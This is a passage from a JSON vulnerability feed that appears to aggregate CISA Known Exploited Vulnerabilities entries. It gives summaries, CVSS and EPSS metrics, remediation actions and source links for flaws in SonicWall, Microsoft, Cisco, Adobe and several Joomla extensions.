guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-46817","asOf":"2026-05-28T20:17:10.861Z"},"epss":{"probability":0.12313,"percentile":0.96159,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-46817&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-46817","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-07-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-46817 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-46817&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-46817, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA oracle","url":"https://cveawg.mitre.org/api/cve/CVE-2026-46817","type":"primary","publishedAt":"2026-05-28T20:17:10.861Z","checkedAt":"2026-10-26T17:21:07.984Z","supports":"The published CVE-2026-46817 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:21:07.984Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-15409","cveId":"CVE-2026-15409","aliases":[],"kind":"vulnerability","title":"SonicWall SMA1000 Appliances Server-Side Request Forgery Vulnerability","summary":"SonicWall SMA1000 Appliances contain a server-side request forgery vulnerability that could allow a remote unauthenticated attacker to potentially cause the appliance to make requests to unintended location.","detail":"CISA added this entry on 2026-07-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-07-14","updatedAt":null,"regions":["Global"],"vendor":"SonicWall","product":"SMA1000 Appliances","stacks":["SonicWall","SMA1000 Appliances"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-07-14","dueAt":"2026-07-17","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-15409","asOf":"2026-08-04T03:56:14.089Z"},"epss":{"probability":0.06795,"percentile":0.93953,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-15409&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-15409","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-07-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-15409 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-15409&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-15409, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program ADP assessment CISA-ADP","url":"https://cveawg.mitre.org/api/cve/CVE-2026-15409","type":"primary","publishedAt":"2026-07-14T19:39:34.808Z","checkedAt":"2026-10-26T17:35:58.142Z","supports":"The published CVE-2026-15409 document's ADP assessment supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:35:58.142Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-15410","cveId":"CVE-2026-15410","aliases":[],"kind":"vulnerability","title":"SonicWall SMA1000 Appliances Code Injection Vulnerability","summary":"SonicWall SMA1000 Appliances contain a code injection vulnerability which in specific conditions could potentially enable a remote authenticated attacker as administrator to execute arbitrary OS commands.","detail":"CISA added this entry on 2026-07-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-07-14","updatedAt":null,"regions":["Global"],"vendor":"SonicWall","product":"SMA1000 Appliances","stacks":["SonicWall","SMA1000 Appliances"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-07-14","dueAt":"2026-07-17","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-15410","asOf":"2026-08-04T03:56:15.680Z"},"epss":{"probability":0.11791,"percentile":0.9605,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-15410&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-15410","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-07-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-15410 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-15410&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-15410, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program ADP assessment CISA-ADP","url":"https://cveawg.mitre.org/api/cve/CVE-2026-15410","type":"primary","publishedAt":"2026-07-14T19:43:03.226Z","checkedAt":"2026-10-26T17:35:58.142Z","supports":"The published CVE-2026-15410 document's ADP assessment supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:35:58.142Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-56155","cveId":"CVE-2026-56155","aliases":[],"kind":"vulnerability","title":"Microsoft Active Directory Federation Services Insufficient Granularity of Access Control Vulnerability","summary":"Microsoft Active Directory Federation Services contains an insufficient granularity of access control vulnerability that allows an authorized attacker to elevate privileges locally.","detail":"CISA added this entry on 2026-07-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-07-14","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Active Directory Federation Services","stacks":["Microsoft Office","Microsoft","Active Directory Federation Services"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-07-14","dueAt":"2026-07-28","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-56155","asOf":"2026-10-08T18:13:24.034Z"},"epss":{"probability":0.00346,"percentile":0.2793,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-56155&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-56155","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-07-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-56155 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-56155&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-56155, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA microsoft","url":"https://cveawg.mitre.org/api/cve/CVE-2026-56155","type":"primary","publishedAt":"2026-07-14T17:05:11.702Z","checkedAt":"2026-10-26T17:35:58.142Z","supports":"The published CVE-2026-56155 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:35:58.142Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-56164","cveId":"CVE-2026-56164","aliases":[],"kind":"vulnerability","title":"Microsoft SharePoint Server Missing Authentication for Critical Function Vulnerability","summary":"Microsoft SharePoint contains a missing authentication for critical function vulnerability that allows an unauthorized attacker to elevate privileges over a network.","detail":"CISA added this entry on 2026-07-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-07-14","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"SharePoint Server","stacks":["Microsoft SharePoint","Microsoft","SharePoint Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-07-14","dueAt":"2026-07-17","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":5.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N/E:F/RL:O/RC:C","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-56164","asOf":"2026-10-08T18:13:24.535Z"},"epss":{"probability":0.01011,"percentile":0.62927,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-56164&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-56164","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-07-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-56164 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-56164&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-56164, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA microsoft","url":"https://cveawg.mitre.org/api/cve/CVE-2026-56164","type":"primary","publishedAt":"2026-07-14T17:05:12.313Z","checkedAt":"2026-10-26T17:35:58.142Z","supports":"The published CVE-2026-56164 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:35:58.142Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2008-4128","cveId":"CVE-2008-4128","aliases":[],"kind":"vulnerability","title":"Cisco IOS Cross-Site Request Forgery Vulnerability","summary":"Cisco IOS 12.4 contains multiple cross-site forgery vulnerabilities that allows remote attackers to execute arbitrary commands via (1) a certain \"show privilege\" command to the /level/15/exec/- URI, and (2) a certain \"alias exec\" command to the /level/15/exec/-/configure/http URI.","detail":"CISA added this entry on 2026-07-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-07-13","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS","stacks":["Cisco","IOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-07-13","dueAt":"2026-07-16","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2008-4128","asOf":"2026-09-24T03:55:17.329Z"},"epss":{"probability":0.33871,"percentile":0.98379,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2008-4128&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2008-4128","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-07-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2008-4128 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2008-4128&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2008-4128, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program ADP assessment CISA-ADP","url":"https://cveawg.mitre.org/api/cve/CVE-2008-4128","type":"primary","publishedAt":"2008-09-18T20:00:00.000Z","checkedAt":"2026-10-26T17:35:58.142Z","supports":"The published CVE-2008-4128 document's ADP assessment supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:35:58.142Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-48939","cveId":"CVE-2026-48939","aliases":[],"kind":"vulnerability","title":"iCagenda Unrestricted Upload of File with Dangerous Type Vulnerability","summary":"iCagenda contains an unrestricted upload of file with dangerous type vulnerability that allows the upload of arbitrary files in the file attachment feature, ultimately resulting in PHP code upload and execution.","detail":"CISA added this entry on 2026-07-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-07-10","updatedAt":null,"regions":["Global"],"vendor":"iCagenda","product":"iCagenda","stacks":["iCagenda"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-07-10","dueAt":"2026-07-13","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":10,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A/AU:Y/U:Red","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-48939","asOf":"2026-08-12T13:58:34.869Z"},"epss":{"probability":0.20069,"percentile":0.97426,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-48939&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-48939","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-07-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-48939 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-48939&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-48939, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA Joomla","url":"https://cveawg.mitre.org/api/cve/CVE-2026-48939","type":"primary","publishedAt":"2026-06-20T11:56:50.752Z","checkedAt":"2026-10-26T17:35:58.142Z","supports":"The published CVE-2026-48939 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:35:58.142Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-56291","cveId":"CVE-2026-56291","aliases":[],"kind":"vulnerability","title":"Balbooa Forms Unrestricted Upload of File with Dangerous Type Vulnerability","summary":"Balbooa Forms contains an unrestricted upload of file with dangerous type vulnerability that allows an unauthenticated arbitrary file upload which could allow uploading of executable files leading to full RCE.","detail":"CISA added this entry on 2026-07-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-07-10","updatedAt":null,"regions":["Global"],"vendor":"Balbooa","product":"Forms","stacks":["Balbooa","Forms"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-07-10","dueAt":"2026-07-13","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":10,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:A/AU:Y/U:Red","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-56291","asOf":"2026-08-12T13:52:32.561Z"},"epss":{"probability":0.14854,"percentile":0.9667,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-56291&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-56291","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-07-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-56291 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-56291&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-56291, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA Joomla","url":"https://cveawg.mitre.org/api/cve/CVE-2026-56291","type":"primary","publishedAt":"2026-07-09T09:53:57.886Z","checkedAt":"2026-10-26T17:35:58.142Z","supports":"The published CVE-2026-56291 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:35:58.142Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-48282","cveId":"CVE-2026-48282","aliases":[],"kind":"vulnerability","title":"Adobe ColdFusion Path Traversal Vulnerability","summary":"Adobe ColdFusion contains a path traversal vulnerability that could lead to arbitrary code execution in the context of the current user.","detail":"CISA added this entry on 2026-07-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-07-07","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"ColdFusion","stacks":["Adobe","ColdFusion"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-07-07","dueAt":"2026-07-10","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-48282","asOf":"2026-08-27T22:32:54.070Z"},"epss":{"probability":0.42388,"percentile":0.98694,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-48282&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-48282","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-07-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-48282 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-48282&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-48282, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA adobe","url":"https://cveawg.mitre.org/api/cve/CVE-2026-48282","type":"primary","publishedAt":"2026-06-30T15:11:57.151Z","checkedAt":"2026-10-26T17:51:09.522Z","supports":"The published CVE-2026-48282 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T17:51:09.522Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-48908","cveId":"CVE-2026-48908","aliases":[],"kind":"vulnerability","title":"JoomShaper SP Page Builder Unrestricted Upload of File with Dangerous Type Vulnerability","summary":"JoomShaper SP Page Builder contains an unrestricted upload of file with dangerous type vulnerability that allows unauthenticated users to upload arbitrary files, ultimately resulting in the upload and execution of PHP code.","detail":"CISA added this entry on 2026-07-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-07-07","updatedAt":null,"regions":["Global"],"vendor":"JoomShaper","product":"SP Page Builder","stacks":["JoomShaper","SP Page Builder"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-07-07","dueAt":"2026-07-10","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching 